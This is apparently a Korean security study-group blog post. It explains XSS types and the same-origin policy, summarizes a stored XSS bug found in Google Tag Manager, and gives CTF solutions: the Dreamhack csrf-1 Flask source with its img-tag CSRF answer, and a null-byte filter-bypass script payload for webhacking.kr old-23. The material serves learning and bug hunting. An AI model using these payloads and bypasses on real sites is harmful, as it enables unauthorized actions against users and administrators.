XSS 개념정리
- xss: 웹 사이트가 특정 문자의 입력값 검증을 하지 않아 브라우저가 악성 자바스크립트를 실행할 때마다 발생.
- 취약점을 유발하는 문자: 큰따옴표, 작은 따옴표, 꺾쇠괄호(<>)
사이트에서 문자를 올바르게 검증하는 경우: HTML 엔터키로 렌더링됨.
- ex) 큰따옴표(”)를 " 또는 " 또는 "
- ex2) " 작은따옴표(’)를 &apos 또는 '
올바르게 검증을 하지 않는 경우: HTML과 자바스크립트로 웹 페이지 구조를 정의할 수 있음
- ex) 꺾쇠를 제거하지 않는다면 를 삽입하여 페이로드를 주입할 수 있다.
→ 입력값 검증을 하지 않는 웹사이트에서 해당 자바스크립트를 실행.
동일 출처 정책(SOP): document가 다른 출처에서 가져온 자원과 상호작용하는 방법을 제한.
- ex) www..com을 방문해 브라우저에서 www. .com/profile에 대한 GET 요청을 호출했을 때 SOP에서 www. .com이 www..com/profile의 응답을 읽지 못하도록 제 한. 출처 결정: 프로토콜, 호스트, 포트가 결정
큰따옴표, 작은 따옴표를 이용해서도 공격 가능
- 큰따옴표 → 큰따옴표로 닫아주고 다른 스크립트 작성
- 작은 따옴표 → 작은 따옴표 + 세미콜론(;)으로 닫아주고 원하는 스크립트 작성
XSS의 종류
반사 vs 저장
- 반사 XSS: 사이트의 어느 곳에도 저장되지 않은 단일 HTTP 요청이 전달돼 XSS 페이 로드를 실행할 때 발생
⇒ 해결방법 XSS Auditors도입: 자바스크립트를 실행하는 악성 링크로부터 사용자를 보호.
!그러나 공격자들이 XSS Auditor를 우회하는 경우가 많고, 방법이 자주 바뀜! - 저장 XSS: 악성 페이로드를 저장하고, 값을 검증하지 않고 렌더링할 때 발생
DOM 기반 vs 블라인드(blind) vs 자체(self)
- DOM 기반 XSS공격: 웹 사이트의 기존 자바스크립트 코드를 조작해 악성 자바스크립 트를 실행하는 것을 포함함.(반사 또는 저장 공격에 해당.)
- 블라인드 XSS: 해커가 액세스할 수 없는 웹 사이트 위치에서 다른 사용자가 XSS 페이 로드를 렌더링하는 저장 XSS공격.
ex) SNS에서 개인 프로필을 만들 때, 이름에 XSS를 추가할 수 있는 경우, 공격이 가능. (관리자가 사이트의 관리자용 페이지를 방문했을 때 XSS 실행되는 경우) - 자체(self) XSS 취약점: 페이로드를 입력하는 사용자에게만 영향을 줄 수 있는 취약점 → 공격자는 자신만을 공격 대상으로 삼을 수 있고, 심각도가 낮으며 대부분 포상금을 받을 수 없음
xss 사례 - Google 태그 관리자에 저장 xss
URL: tagmanager.google.com/
출처: https://mahmoudser/blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html
보고 날짜: 2015년 9월 12일'
공격 대상: SEO도구인 구글 태그 관리자(Tag Manager), JSON 파일을 업로드하는 기능
- 일반적인 웹 보안의 모범 사례는 렌더링 시점에 사용자의 입력값을 검증하는 것. 하지만 구글은 사용자 입력값 저장을 렌더링 시점이 아닌 사용자의 입력값 검증 이후에 시도했음
첫번째 공격: SEO도구인 구글 태그 관리자(Tag Manager)
- 페렌바흐는 #"><img scr=/onerror=alert(3)> 와 같은 페이로드를 입력
- 페이로드가 양식 필드에서 승인될 경우 기존 HTML 태그를 닫고 존재하지 않는 이미지 로드 실행, 이미지를 찾을 수 없기 때문에 웹 사이트는 onerror 함수인 alert(3)을 실행해야 했으나 구글의 입력값 검증에 막혀 실패.
두번째 공격: JSON 파일을 업로드하는 기능을 공격 대상 삼아 페이로드 작성
“data” :{
“name”: “#”><img scr=/onerror=alert(3)>"
“type”: “AUTO_EVENT_VAR”
“autoEventVarMacro”: {
"varType”: “HISTORY_NEW_URL_FRAGMENT”
}
}
- 구글은 렌더링 시점이 아닌 전송하는 시점에 웹 양식을 대상으로 입력값을 검증했고, 결 과적으로 파일 업로드 기능에 입력값 검증 작업을 추가하지 않아 페이로드가 실행됨.
시사점
- 각각의 입력값이 처리되는 방식이 다를 수 있기 때문에 값을 입력하고자 제공 되는 모든 방법을 테스트 할 것
- 잘 알려진 취약점이더라도 개발자의 실수가 있을 수 있으니 시도해 볼 것
xss/csrf 모의해킹
Dreamhack csrf-1
>python code
더보기
python code
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
app.run(host="0.0.0.0", port=8000)
vuln(csrf) page
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
- vuln 페이지에선 frame, script, on 문자열을 필터링하고 있음
- 따라서 <script>alert(1)</script>라는 스크립트를 그대로 출력하지 않음
memo
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
- memo라는 쿼리스트링으로 값을 전달받고, memo_text에 append한 후 화면에 출력함
- GET 방식으로 데이터를 전송
notice flag
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
- 주소가 127.0.0.1이 아니거나, userid의 값이 admin이 아니면 Access Denied를 출력함
- 두 조건을 모두 만족시키면 flag를 얻을 수 있음
- 이때, flag는 memo_text에 append 되므로, memo 페이지에서 확인 가능
flag
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
- 이곳에 답을 적어 제출
따라서...
- <img src=/admin/notice_flag?userid=admin>을 입력 후 제출하면 flag를 얻을 수 있음!
XSS Challenges stage 1
HINT: very simple
webhacking.kr old-23
- 문제가 원하는 것은 매우 명확함. 서버에서 <script>alert(1);</script>를 실행시키는 것.
- 그러나 문자 두 개를 연달아 입력하면 ‘no hack’을 출력
따라서...
- null 문자와 url 인코딩을 이용해 모든 문자 사이를 띄어 주면 문제를 해결할 수 있음
- <s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>
- ** 주의! 제출 버튼에 넣으면 안 되고, 꼭 url의 code를 이용해 GET 방식으로 전달해야 함. 이 부분으로 인해 CSRF/XXS 문제라고 이야기하는 듯.
'4-5. 2022-2 심화 스터디 > 버그 헌팅과 모의 해킹' 카테고리의 다른 글
[2022.11.26] SSRF (0) | 2022.12.02 |
---|---|
[2022.11.19] 원격코드실행(RCE) (0) | 2022.11.25 |
[2022.11.12] sql injection + Oauth 취약점 (1) | 2022.11.18 |
[2022.10.08] 메모리 취약점 문제 풀이 - LOB (1) | 2022.10.14 |
[2022.10.1] 메모리 취약점 (0) | 2022.10.07 |